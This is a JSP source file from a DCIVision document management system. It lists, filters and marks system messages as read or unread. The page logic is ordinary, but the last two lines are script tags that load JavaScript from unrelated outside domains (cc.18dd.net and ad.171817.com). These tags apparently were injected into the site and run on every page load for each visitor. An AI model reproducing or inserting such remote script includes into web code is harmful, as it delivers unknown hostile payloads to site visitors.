<%
/*
 * @(#)ListSystemMessage.jsp
 *
 * Copyright (c) 2006 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */

/**

  ListSystemMessage.jsp


    @author             greatwall shao
    @company            DCIVision Ltd
    @creation date      2006-10-10
*/

%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.bean.SysFunction"%>
<%@ page import="com.dcivision.framework.dao.SysFunctionDAObject"%>
<%@ page import="com.dcivision.framework.GlobalConstant"%>
<%@ page import="com.dcivision.framework.SystemFunctionConstant"%>

<%@ page import="java.util.Date"%>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Locale"%>
<%@ page import="java.sql.Timestamp"%>
<%@ page import="com.dcivision.alert.bean.*"%>
<%@ page import="com.dcivision.alert.core.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.framework.taglib.channel.AjaxDataFormat"%>
<%@ page import="com.dcivision.dms.bean.DmsDocument"%>
<%@ page import="com.dcivision.dms.DmsOperationConstant"%>
<%@ page import="com.dcivision.dms.core.DocumentRetrievalManager"%>
<%@ page import="com.dcivision.dms.DmsOperationConstant"%>
<%@ page import="java.util.Date"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listMessageForm" scope="request" class="com.dcivision.alert.web.ListSystemMessageForm"/>
<%
Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
SysFunctionDAObject sysFunctionDAO = new SysFunctionDAObject(sessionContainer, conn);
SysFunction tmpSysFunction = (SysFunction) sysFunctionDAO.getByFunctionCode(SystemFunctionConstant.SCH_CALENDAR);

String      LIST_NAME = "messageList";

  String[][]  LABEL_MAP = {{"ID","ID"},
                         {"dms.label.email_sender","A.CREATOR_ID"},
                {"dms.label.email_subject","T.ALERT_SUBJECT"},
                {"home.label.received_date","A.CREATE_DATE"}
                          };
  String[][] readTypeList ={{"message.list.read", "onlyRead"},
                              {"message.list.unread", "onlyUnread"}
                             };
  String[][] messageTypeList ={{"common.options.select_menu.all", ""},
                               {"message.type.document_invitation", "DI"},
                               {"message.type.document_notification", "DN"},
                               {"message.type.workflow_notification", "WN"}
                              };
  String[][] messageTypeListFull ={{"common.options.select_menu.all", ""},
  		                             {"message.type.meeting_invitation", "MI"},
                                   {"message.type.meeting_notification", "MN"},
                                   {"message.type.document_invitation", "DI"},
                                   {"message.type.document_notification", "DN"},
                                   {"message.type.workflow_notification", "WN"}
                                  };
  
  if ((GlobalConstant.STATUS_ACTIVE.equals(tmpSysFunction.getStatus()))
      && (!SystemFunctionConstant.MENU_TYPE_HIDE.equals(tmpSysFunction.getMenuType()))) {
  	messageTypeList = messageTypeListFull;
  }
  int     COLUMN_OFFSET = 2;
%>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ButtonUtility.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript">
<!--
function OpListCustReset(frm) {
  frm.searchSender.value = '';
  frm.searchReadType.selectedIndex=0;
  frm.searchSubject.value = '';
  frm.filter.selectedIndex=0;
  frm.navMode.value = NAV_MODE_LIST;
  frm.submit();
return false;
}
-->
</script>

<!-- Form Section Begin -->
<html:form action="ListSystemMessage.do" method="post">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="flag" value="stage"/>
<input type="hidden" value="" name="readType">
<layout:listBar>
    <div class="button">
      <html:colheaderButton id="readButton" label="message.list.read" onClick="readOp('read')"/>
      <html:colheaderButton id="unreadButton" label="message.list.unread" onClick="readOp('unRead')"/>
      <html:permissionButton id="deleteButton" styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="D" onClick="opDelete('delete');" label="message.list.delete"/>
    </div>
    <layout:filterControl/>
</layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
  <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
  <div>
  <table>
  <tr>
<td class="filterPanelItem" nowrap>
<bean:message key="dms.label.email_sender"/>:
</td>
<td class="filterPanelItem" nowrap>
<html:text property='searchSender' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
 </td>
<td class="filterPanelItem" nowrap>
<bean:message key="message.list.read_unread"/>:
</td>
<td class="filterPanelItem" nowrap>
<html:select property="searchReadType" onkeypress="onKeyPressHandler(event);">
<html:options stringArray='<%=readTypeList%>'/>
 </html:select>
</td>
</tr>
<tr>
<td class="filterPanelItem" nowrap>
<bean:message key="dms.label.email_subject"/>:
</td>
<td class="filterPanelItem" nowrap>
<html:text property='searchSubject' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
</td>
<td class="filterPanelItem" nowrap>
  <bean:message key="common.label.filter.disabled"/>:
</td>
<td class="filterPanelItem" nowrap>
<html:select property='filter' onchange="PagerGotoPage('listMessageForm','1','null');">
<html:options stringArray='<%=messageTypeList%>'  hasSelect='false'/>
</html:select>
</td>
</tr>
</table>
</div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listMessageForm, '${listMessageForm.sortAttribute}', '${listMessageForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListCustReset(listMessageForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->


<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listMessageForm" editColumn="false" copyColumn="false" labelMap="<%=LABEL_MAP%>"
   sortAttribute="<%=listMessageForm.getSortAttribute()%>" sortOrder="<%=listMessageForm.getSortOrder()%>"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="messageInfoBean" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  
  <%
    int rowNum=1;
    MessageInfoBean  messageBean = (MessageInfoBean)messageInfoBean;
    String id = messageBean.getSystemLogID();
    String sender = messageBean.getSender();
    String subject = messageBean.getSubjectWithLink();
    String style = messageBean.getBoldFont();
    
    String readFlag = "Read";

    if(!Utility.isEmpty(style.trim())) {
      sender = " <strong> "+sender +" </strong>";
      readFlag = "Unread";
     }
  %>
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=id%>);OpReadUnread();">
    <td width="20"><!--read-->
    <input name="basicSelectedID" type="checkbox" value="<%=id%>" title="<%=readFlag%>" onclick="return false;">
    </td>

   <!--sender-->
   <td width="100"><%=sender%></td>
   <!--sender end-->

   <!--subject start-->
   <td >
   <div style=\"width:100%;white-space:nowrap;overflow:hidden;text-overflow:ellipsis\">
   <%if(!Utility.isEmpty(messageBean.getDocumentID())){
  	 DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
     DmsDocument dmsDocument = docRetrievalManager.getDocument(new Integer(messageBean.getDocumentID()));
     String docName = dmsDocument.getDocumentName();
     if(subject.lastIndexOf(docName)>=0){
       PermissionManager permissionManager = sessionContainer.getPermissionManager();
       String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, new Integer(messageBean.getDocumentID()));
       pageContext.setAttribute(DmsOperationConstant.DMS_DOCUMENT_BEAN,dmsDocument);
     
       int docIndex = subject.lastIndexOf(docName);
       String subjectLeft = subject.substring(0,docIndex);
       if(subjectLeft.lastIndexOf(":")>=0){
         subjectLeft = subjectLeft.substring(0,subjectLeft.lastIndexOf(":"));
       }
    	   if(!Utility.isEmpty(style.trim())) {
    		   subjectLeft = " <strong> "+subjectLeft +"</strong>";
    	   }
       subjectLeft = subjectLeft + ":[";
       String subjectMiddle = subject.substring(docIndex+docName.length());
     
       String subjectRight = "";
       String folderPermission = "";
  	   boolean isShowFolder = false;
  	   DmsDocument folderDocument = docRetrievalManager.getDocument(dmsDocument.getParentID());
       String folderName = folderDocument.getDocumentName();
       if(subjectMiddle.indexOf(folderName)>=0){
    	   isShowFolder = true;
    	   folderPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT,dmsDocument.getParentID());
    	   pageContext.setAttribute(DmsOperationConstant.DMS_DOCUMENT_BEAN,folderDocument);
    	 
    	   int folderIndex = subjectMiddle.indexOf(folderName);
    	   subjectRight = subjectMiddle.substring(folderIndex+folderName.length());
    	   subjectMiddle = subjectMiddle.substring(0,folderIndex);
       }
     
   %>
     <%=subjectLeft%><dms:contextMenu/>
     <nobr><dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' permission='<%=permission%>'/></nobr>
     <%=subjectMiddle%>
     <%if(isShowFolder){%>
     <nobr><dms:documentInfo docObject='<%=(DmsDocument)folderDocument%>' permission='<%=folderPermission%>'/></nobr>
     <%=subjectRight%>
     <%}%>
    <%}%>
   <%}else{
  	  if(!Utility.isEmpty(style.trim())) {
  	    subject = " <strong> "+subject +" </strong>";
  	  }
  	 %>
  	 <%=subject%>
   <%}%>
   </div>
   
   
   </td>
   <!--subject end-->

   <!--received date-->
   <td width="110">
   <%if(!Utility.isEmpty(style.trim())) { %>
    <strong>
   <% } %>
   <%=com.dcivision.framework.TextUtility.formatTimestamp(messageBean.getArrivalDate())%>
   <%if(!Utility.isEmpty(style.trim())) { %>
     </strong>
   <% } %>
   </td>
   <!--received end-->

  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listMessageForm" name='<%=LIST_NAME%>'>
     <div class="statement"><layout:pagerInfo/></div>
     <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->

<!-- Table Showing Record List End -->

</html:form>

<!-- Form Section End -->
<script language="JavaScript">
<!--
function onKeyPress() {
  if(event.keyCode==13) {
    OpList(listWorkflowRecordForm, '<bean:write name='listWorkflowRecordForm' property='sortAttribute' replace=''/>', '<bean:write name='listWorkflowRecordForm' property='sortOrder' replace=''/>');
  }
}

function readOp(type) {
  var isSelect= false;
   var formObjects = document.getElementsByName("basicSelectedID");

  for(var i=0; i< formObjects.length; i++)	{
    if( formObjects[i].checked==true) {
      isSelect=true;
      break;
    }
  }

  if(isSelect== false) {
    alert("<bean:message key='common.message.no_record_selected'/>");
  } else {
    document.listMessageForm.readType.value=type;
    document.listMessageForm.submit();
  }
}

function opDelete(type){
  var isSelect= false;
  var formObjects = document.getElementsByName("basicSelectedID");

  for(var i=0; i< formObjects.length; i++) {
    if( formObjects[i].checked==true) {
      isSelect=true;
      break;
    }
  }

  if(isSelect== false) {
    alert("<bean:message key='common.message.no_record_selected'/>");
  } else {
     if (!confirm("<bean:message key='common.message.confirm_delete_record'/>")) {
      return(false);
    }
  document.listMessageForm.readType.value=type;
  document.listMessageForm.submit();
  }

}

function OpMessageListReset(){
  document.listMessageForm.searchSender.value="";
  document.listMessageForm.searchReadType.value="";
  document.listMessageForm.searchSubject.value="";
  document.listMessageForm.filter.value="-";
  self.location.href = "ListSystemMessage.do";
}

function refreshMessageList(){
  var curPageNum = document.getElementById("");
  if(curPageNum) {
    curPageNum.value="1";
  }

  document.listMessageForm.submit();
}

function OpReadUnread(){
  /**
  operate the readButton/unReadButton/deleteButton disabled _TC add For bug-1347
  */
  run = false;
  isAllRead = false;
  isAllUnread = false;
  isSelectNone = false;
  
  formObjects = document.getElementsByName("basicSelectedID");

  init = function(){
  isSelectNone = checkSelectNone();
   
      if(isSelectNone){
        setButton("readButton",true);
        setButton("unreadButton",true);
        setButton("deleteButton",true);
        return false;
      }else{
        setButton("deleteButton",false);
      }

    isAllRead= checkAllRead();
    if(!isAllRead){
      isAllUnread= checkAllUnread();
    }

      if(isAllRead){
      //readButton.disabled = true;
      setButton("readButton",true);
    }else{
      //readButton.disabled = false;
      setButton("readButton",false);
    }

    if(isAllUnread){
      //unreadButton.disabled = true;
      setButton("unreadButton",true);
    }else{
      //unreadButton.disabled = false;
      setButton("unreadButton",false);
    }
    return false;
  }

   checkAllRead = function(){
   formObjects = document.getElementsByName("basicSelectedID");
   for( i=0; i< formObjects.length; i++){
     if(formObjects[i].checked){
    if(formObjects[i].title=="Unread"){
       return false;
     }
     }
   }
   return true;
  }

  checkAllUnread = function(){
    for(var i=0; i< formObjects.length; i++){
     if(formObjects[i].checked&&formObjects[i].title=="Read"){
       return false;
     }
   }
   return true;
  }

  checkSelectAll = function(){
   for(var i=0; i< formObjects.length; i++){
      if(!formObjects[i].checked){
      return false;
    }
   }
   return true;
  }

  checkSelectNone = function(){
    for(var i=0; i< formObjects.length; i++){
      if(formObjects[i].checked){
      return false;
    }
   }
   return true;
  }

  setButton = function(eleID,disable){
   /* var ele = document.getElementById(eleID);
  try{
    ele.disabled=disable;
  }catch(e){

  }*/
    button.control.setButtonDisabledType(eleID,disable,"but-colheader-disabled");
  }

  init();
}

function OpToggleSelectAllNone(cb, frm) {
 /**
 because should add method:OpReadUnread here,so reride the method:OpToggleSelectAllNone which ready defined in the frameWork.js _TC
 */
  if (cb.checked) {
    OpSelectAll(frm);
  } else {
    OpSelectNone(frm);
  }

  OpReadUnread();
}

//------should init it
OpReadUnread();
-->
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>